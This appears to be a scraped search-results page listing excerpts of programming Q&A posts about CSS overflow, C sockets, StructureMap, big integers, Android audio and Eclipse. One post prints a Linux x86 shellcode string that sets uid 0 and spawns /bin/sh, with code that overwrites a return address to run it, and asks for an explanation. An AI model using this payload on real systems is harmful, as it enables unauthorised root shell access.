Search Results

Search found 254039 results on 10162 pages for 'overflow auto'.

Page 33/10162 | < Previous Page | 29 30 31 32 33 34 35 36 37 38 39 40  | Next Page >

  • can anyone explain this code to me???

    - by Abed
    //shellcode.c char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } can anyone give me a better explanation

    Read the article

  • Structuremap Stackoverflow Exception

    - by Jason Young
    I keep getting a stackoverflow exception when I call "GetInstance" (the last line). All, yes ALL of my types implement ITracker. MultiTracker has a constructor with a single parameter, which is an array of ITracker's. It seems like StructureMap is ignoring the fact that I told it that MultiTracker is the default class I want when requesting the type ITracker. I just can't get it to work. Any thoughts? Container = new Container(x => { //Multitracker takes ITracker[] in its constructor x.ForRequestedType<MultiTracker>().TheDefault.Is.OfConcreteType<MultiTracker>().TheArrayOf<ITracker>().Contains(z => { z.OfConcreteType<ConcreteType1>(); //ConcreteType1 : ITracker z.OfConcreteType<ConcreteType2>(); //ConcreteType2 : ITracker }); x.ForRequestedType<ITracker>().TheDefault.Is.OfConcreteType<MultiTracker>(); }); //Run a test - this explodes Container.GetInstance<ITracker>();

    Read the article

  • Socket in C: recv overwrite a char[]

    - by Possa
    Hi all, I'm trying to make a little client-server script like many others that I've done in the past. But in this one I have a problem. It is better if I post the code and the output it give me. Code: #include <mysql.h> //not important now #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <string.h> //constant definition #define SERVER_PORT 2121 #define LINESIZE 21 //global var definition char victim_ip[LINESIZE], file_write[LINESIZE], hacker_ip[LINESIZE]; //function void leggi (int); //not use now for debugging purpose //void scriviDB (); //not important now main () { int sock, client_len, fd; struct sockaddr_in server, client; // transport end point if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("system call socket fail"); exit(1); } server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr("10.10.10.1"); server.sin_port = htons(SERVER_PORT); // binding address at transport end point if (bind(sock, (struct sockaddr *)&server, sizeof server) == -1) { perror("system call bind fail"); exit(1); } //fprintf(stderr, "Server open: listening.\n"); listen(sock, 5); /* managae client connection */ while (1) { client_len = sizeof(client); if ((fd = accept(sock, (struct sockaddr *)&client, &client_len)) < 0) { perror("accepting connection"); exit(1); } strcpy(hacker_ip, inet_ntoa(client.sin_addr)); printf("1 %s\n", hacker_ip); //debugging purpose //leggi(fd); ////////////////////////// //receive client recv(fd, victim_ip, LINESIZE, 0); victim_ip[sizeof(victim_ip)] = '\0'; printf("2 %s\n", hacker_ip); //debugging purpose recv(fd, file_write, LINESIZE, 0); file_write[sizeof(file_write)] = '\0'; printf("3 %s\n", hacker_ip); //debugging purpose printf("%s@%s for %s\n", file_write, victim_ip, hacker_ip); //send to client send(fd, hacker_ip, 40, 0); //now is hacker_ip for debug ///////////////////////// close(fd); }//end while exit(0); } //end main Client send string: ./send -i 10.10.10.4 -f filename.ext so the script send -i (IP) and -f (FILE) at the server. Here's my output server side: 1 10.10.10.6 2 10.10.10.6 3 [email protected] for As you can see the printf(3) and the printf(ip,file,ip) fail. I don't know how and where but someone overwrite my hacker_ip string. Thanks for your help! :)

    Read the article

  • Contact form contents spilling out of container div on window resize.

    - by Alex C
    I'm trying to get my contact form to not spill its contents out of the parent div when I resize the viewport. How can I go about doing this? I have used float clearing to prevent this as I understood it was supposed to be used, but it isn't working. What should I do to fix this? here is the page in question. also I have a similar problem with the header.. the menu drops below the header text if I make the browser window smaller. Thanks for any help you all have to offer. http://countercharge.net/catsite/index.php?P=contact

    Read the article

  • Handling "Big" Integers in C#

    - by priyanka.sarkar
    How do I handle big integers in C#? I have a function that will give me the product of divisors: private static int GetDivisorProduct(int N, int product) { for (int i = 1; i < N; i++) { if (N % i == 0) { Console.WriteLine(i.ToString()); product *= i; } } return product; } The calling function is GetDivisorProduct(N, 1) If the result is bigger than 4 digits , I should obtain only the last 4 digits. ( E.g. If I give an input of 957, the output is 7493 after trimming out only the last four values. The actual result is 876467493.). Other sample inputs: If I give 10000, the output is 0. The BigInteger class has been removed from the C# library! How can I get the last four digits?

    Read the article

  • css footer position stick to bottom of browser?

    - by judi
    Hi css experts I'm having a problem with my site http://artygirl.co.uk/pixie/about/ I can't seem to get the footer to automatically stick to the bottom of the browser, and show the rest of my background. Is there a solution better than using position:fixed or absolute? I think there are possibly other styles over-riding some tests I do in firebug. Thanks for your help Regards Judi

    Read the article

  • What's your motivation to help others at stackoverflow?

    - by Bernhard V
    Hi! I gotta say that this site is really great because it helped me a lot at my job. I'm mostly the one asking the questions rather than answering it. Now I'd like to know what's your motivation to help others of whom you only know their nicknames? Because contrary to other communities on the Internet, this site lacks things like a message board where you can talk about all things in life or a function for private messaging. And in my opinion these two things normally help in building kind of a "social" environment. Also stackoverflow has probably lot's of users and is therefore not that tight-knitted. Maybe you can share some your thoughts with me.

    Read the article

  • AudioRecord problems with non-HTC devices

    - by Marc
    I'm having troubles using AudioRecord. An example using some of the code derived from the splmeter project: private static final int FREQUENCY = 8000; private static final int CHANNEL = AudioFormat.CHANNEL_CONFIGURATION_MONO; private static final int ENCODING = AudioFormat.ENCODING_PCM_16BIT; private int BUFFSIZE = 50; private AudioRecord recordInstance = null; ... android.os.Process.setThreadPriority(android.os.Process.THREAD_PRIORITY_URGENT_AUDIO); recordInstance = new AudioRecord(MediaRecorder.AudioSource.MIC, FREQUENCY, CHANNEL, ENCODING, 8000); recordInstance.startRecording(); short[] tempBuffer = new short[BUFFSIZE]; int retval = 0; while (this.isRunning) { for (int i = 0; i < BUFFSIZE - 1; i++) { tempBuffer[i] = 0; } retval = recordInstance.read(tempBuffer, 0, BUFFSIZE); ... // process the data } This works on the HTC Dream and the HTC Magic perfectly without any log warnings/errors, but causes problems on the emulators and Nexus One device. On the Nexus one, it simply never returns useful data. I cannot provide any other useful information as I'm having a remote friend do the testing. On the emulators (Android 1.5, 2.1 and 2.2), I get weird errors from the AudioFlinger and Buffer overflows with the AudioRecordThread. I also get a major slowdown in UI responsiveness (even though the recording takes place in a separate thread than the UI). Is there something apparent that I'm doing incorrectly? Do I have to do anything special for the Nexus One hardware?

    Read the article

  • Layout Bug in IE (div relative)

    - by Florian
    Hi, I have a problem with IE (all versions). I have a header div with a relative position and inside this another div with absolute position and right alignment. <div id="header" style="position: relative; width: 1000px; height: 60px;"> content http://stadtwerke-bitburg.de/fileadmin/overflow_prob_IE.png Now when I open the pulldown menu in FF/Safari/Opera everything is all right. Whereas in IE everything which is taller than 60px disappears behind my header div. Is there a workaround for this problem with CSS or do I have to write javascript to get this fixed? thx TC

    Read the article

  • What's a good way to detect wrap-around in a fixed-width message counter?

    - by Kristo
    I'm writing a client application to communicate with a server program via UDP. The client periodically makes requests for data and needs to use the most recent server response. The request message has a 16-bit unsigned counter field that is echoed by the server so I can pair requests with server responses. Since it's UDP, I have to handle the case where server responses arrive out of order (or don't arrive at all). Naively, that means holding on to the highest message counter seen so far and dropping any incoming message with a lower number. But that will fail as soon as we pass 65535 messages and the counter wraps back to zero. Is there a good way to detect (with reasonable probability) that, for example, message 5 actually comes after message 65,000? The implementation language is C++.

    Read the article

  • What would you use for auto completion in Rails app?

    - by Andrei
    I want to use auto-completion in a number of fields (5-7) in my forms. There is a screencast on auto-completion with Prototype library by Ryan Bates ( http://railscasts.com/episodes/102-auto-complete-association). On the other hand, I have noticed that quite many guys suggest jQuery for this task ( http://jquery.bassistance.de/autocomplete/demo/). And I guess, there was probably some development last year(s), so I ask you - what would you use nowadays to auto-complete your form fields and why? BTW, I still have an open question on auto completion for HABTM association: http://stackoverflow.com/questions/1510935/how-to-do-habtm-management-with-auto-completion-in-rails

    Read the article

  • The Impossible Layout?

    - by Kyle K
    I'm beginning to think this is impossible, but thought I'd ask you guys. Basically it's a 2 column layout, but the "business" wants the following: -Always take up the entire browser window -Accommodate resizing of browser window -Left column will be fixed width, but that width should be flexible from page-to-page. -Left column has a region at the top with fixed height. -Left column has a bottom region. It should take up the remaining vertical space of browser window. If content is very large, it will have a scroll bar just for that region. -Right column should take up remaining horizontal space of browser window. -Right column has a region at the top with fixed height. -Right column has a bottom region. It should take up the remaining vertical space of browser window. If content is very large, it will have a scroll bar just for that region. I've tried everything...divs, floated, absolutely positioned, tables, divs in tables... Is this even possible? Here's an image of what it should look like: http://imgur.com/zk1jP.png

    Read the article

  • C Typecast: How to

    - by Jean
    #include<stdio.h> int main(void) { unsigned short a,e,f ; // 2 bytes data type unsigned int temp1,temp2,temp4; // 4 bytes data type unsigned long temp3; // 8 bytes data type a=0xFFFF; e=((a*a)+(a*a))/(2*a); // Line 8 //e=(((unsigned long)(a*a)+(unsigned long)(a*a)))/(unsigned int)(2*a); temp1=a*a; temp2=a*a; temp3=(unsigned long)temp1+(unsigned long)temp2; // Line 14 temp4=2*a; f=temp3/temp4; printf("%u,%u,%lu,%u,%u,%u,%u\n",temp1,temp2,temp3,temp4,e,f,a); return(1); } How do I fix the arithmetic (At Line 8 by appropriate typecasting of intermediate results) so that overflows are taken care of ? Currently it prints 65534 instead of expected 65535. Why is the typecast necessary for Line 14 ?

    Read the article

  • float** allocation limit + serialized struct problem. Need advice!

    - by jmgunn
    basically im getting an allocation limit error/warning when i create a float** array. the function i am calling to fill the float** retrieves data from a struct loaded from a file. The function works fine when i use one object but when i load 2 objects into memory i get the limit error. I am pretty sure this is to do with byte alignment or a similar thing because my struct is saved with a float** member which i am sure you are not susposed to do !?! Please confirm this! The next question i have now is how to save/serialize the float** member of this struct? I cant really afford to put an upper bound on the array ie "float [10000][3]" because i need/want to use this structure as a base for many other types of objects that may have well under the upper bound. Stroking my chin here! Any help/advice will recieve my highest gratitude. BTW these said struct objects will be used in a game/graphics package, the float** is a float[3] array for storing vertices in a model. Much thanks in advance

    Read the article

  • iPhone Safari does not auto scale back down on portrait->landscape->portrait

    - by Tom
    Hi, I have a very simple HTML page with this META tag for the iPhone: <meta name="viewport" content="height=device-height,width=device-width,initial-scale=1.0,user-scalable=no" /> When the page loads in portrait mode it looks fine and the width fits the screen. When I rotate the iPhone to landscape mode the web page is auto resized to fit the landscape width. Good, this is what I want. But when I rotate back to landscape, the page is not resized back to fit the portrait width like it was before. It remains in the landscape width. I want the iPhone to set it back to the right width automatically, just like it did for the landscape mode. I don't think this should involve orientation listeners because it is all done automatically and I don't have any special styling for the different modes. Why doesn't the iPhone resize the web page back in portrait mode? How do I fix this? Thanks! Tom.

    Read the article

  • Problem in Adding Button in Dynamically created Gridview with Auto Generated Columns True

    - by Anuj Koundal
    Hi Guys I am using Gridview with auto columns true to Display data, I am using Dataset to bind Grid as Dataset gives me Crosstab/Pivot data on Dropdown's slected Index changed Here is the code I am using protected void ddl_SelectedIndexChanged(object sender, EventArgs e) { fillGridview(Convert.ToInt32(ddl.SelectedValue)); bindHeader(); } //===================//Bind GridColumns //================= void bindHeader() { GridViewRow headerRow; headerRow = gridDashboard.HeaderRow; foreach (GridViewRow grdRow in gridDashboard.Rows) { int count = grdRow.Cells.Count; int siteId=Convert.ToInt32(grdRow.Cells[4].Text); for (int j = 0; j < count; j++) { if (j >= 5) { int id=Convert.ToInt32(grdRow.Cells[j].Text); string headText =headerRow.Cells[j].Text.ToString(); string[] txtArray=headText.Split('-'); int stepId=Convert.ToInt32(txtArray[0]); //headerRow.Cells[j].Text = txtArray[1].ToString(); string HeadName = txtArray[1].ToString(); LinkButton lb = new LinkButton(); lb.Style.Add("text-decoration","none"); if (id > 0) { string Details = getDashBoardSiteStepDetails(id); lb.Text = Details; } else { lb.Text = " - "; } lb.CommandName = "HideColumn"; lb.CommandArgument = siteId.ToString() + "/" + stepId.ToString(); grdRow.Cells[j].Controls.Add(lb); } } } int cnt = headerRow.Cells.Count; for (int j = 0; j { if (j >= 5) { string hdText = headerRow.Cells[j].Text.ToString(); string[] txtArray = hdText.Split('-'); // int stepId = Convert.ToInt32(txtArray[0]); headerRow.Cells[j].Text = txtArray[1].ToString(); } } In above code I am trying to add button dynamically in each cell and button in text have text of that cell, IT works Great but when I click the link button created, link buttons Disappear and the original text of the cell Displays. please help I also want to create onclick of these link buttons Thanks

    Read the article

  • Can't disable method parenthesis auto-complete in Eclipse

    - by cvig
    I'm trying to disable the automatic closing of brackets in Eclipse, and while I've mostly succeeded, I can't stop the editor from inserting a closing parenthesis for a method call. The result is that when I type: myBool.equals(true); it inserts a closing parenthesis as soon as I type the opening parenthesis, and what I actually get is: myBool.equals(true);) I've disabled all of the auto-complete options in the Preferences - Java - Editor - Typing menu, as well as Preferences - Java - Editor - Content Assist - Fill method arguments and show guessed arguments. I also disabled the smart insert mode option under the Edit menu. Is there another option somewhere else I need to use to stop Eclipse from doing this? This is with Eclipse 3.5.2 (Build ID M20100211-1343) in case it matters. Edited to add: I should also mention that this only happens if I wait for the "intellisense" pop-up with suggested method names to appear after I type the period. If I just continuously type the code without waiting for the suggestion box to appear, the closing parenthesis doesn't get inserted.

    Read the article

  • auto expand div height

    - by Geln
    <html><head><title>Test</title> <style> .main{width:600px;border:1px solid red; } .main .left{background:lightblue; width:100px;clear:both; float:left;} .main .right{margin-left:100px;background:lightyellow; } </style> </head><body> <div class="main"> <div class="left"> title </div> <div class="right"> <div id="item">item</div> <div id="item">item</div> <div id="item">item</div> <div id="item">item</div> <div id="item">item</div> <div id="item">item</div> <div id="item">item</div> </div> </div> </body></html> How to change the CSS to make the page display like the dialog shows? PS,I think it's a way that to make the "left" div's height auto expand when the height of the "right" div or parent div expand, but I don't know how.

    Read the article

  • Auto populate a text field based on another text field

    - by Syed Aslam
    I am trying to auto-populate a text field based on the value of another input field. Currently trying to do this using observe_field helper like this: <%= observe_field( :account_name, :function => "alert('Name changed!')", :on => 'keyup' ) %> <% form_for(@account, :html => { :id => 'theform' }) do |f| %> <label for="accountname"> Account name </label> <%= form.text_field :name, :tabindex => '1' %> <label for="subdomain"> Subdomain </label> <%= form.text_field :subdomain, :tabindex => '2' %> <% end %> When the user enters text in the account_name text_field, I want to copy that convert into a subdomain (downcase and join by '-') and populate to subdomain text_field. But, in the process getting this error: element is null var method = element.tagName.toLowerCase(); protot...9227640 (line 3588) Where exactly am I going wrong here? Or is there a better way to do this?

    Read the article

< Previous Page | 29 30 31 32 33 34 35 36 37 38 39 40  | Next Page >